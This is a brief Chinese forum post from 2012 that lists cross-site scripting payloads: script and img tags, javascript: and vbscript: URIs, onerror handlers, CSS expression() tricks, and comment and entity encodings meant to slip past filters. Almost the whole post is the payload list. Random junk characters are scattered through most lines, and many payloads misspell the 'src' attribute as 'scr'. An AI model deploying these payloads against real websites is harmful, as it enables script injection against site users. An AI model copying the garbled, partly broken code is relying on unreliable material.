<script>alert("跨站")</script> (最常用）- I/ J0 e) t' t7 c) o) e& ]
<img scr=javascript:alert("跨站")></img>8 v. _ A* c5 J) N. s$ H6 j
<img scr="javascript: alert(/跨站/)></img>6 S, Q: s" y& `4 R
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
! g1 v% z0 L- e, K( I<img scr="#" onerror=alert(/跨站/)></img>
( I# s' m8 n1 e& D* u$ T<img scr="#" style="xss:expression(alert(/xss/));"></img>* I* C! A7 I0 Q4 C+ }' ]
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）; y, H" ?. z) S& M2 m
<img src=vbscript:msgbox ("xss")></img>
# U' z7 a" q S<style> input {left:expression (alert('xss'))}</style>
Q r$ w; X) [<div style={left:expression (alert('xss'))}></div>
- p* }8 g `8 t7 T4 E( x1 Q2 j) h<div style={left:exp/* */ression (alert('xss'))}></div>
2 I/ X1 X, S6 P) `$ [7 V6 p9 E) F& W<div style={left:\0065\0078ression (alert('xss'))}></div># C6 w X7 Z. ]; j
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
: c$ ?3 c# p& i+ n W; Dunicode <div style="{left:expRessioN (alert('xss'))}">3 R l/ `5 P# o" t6 U* M
5 O7 E) m. m4 C) }
"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["& \0 I1 l: g0 F' J5 C$ s, h
|
发表于 2012-9-15 14:09:13
收藏
支持
反对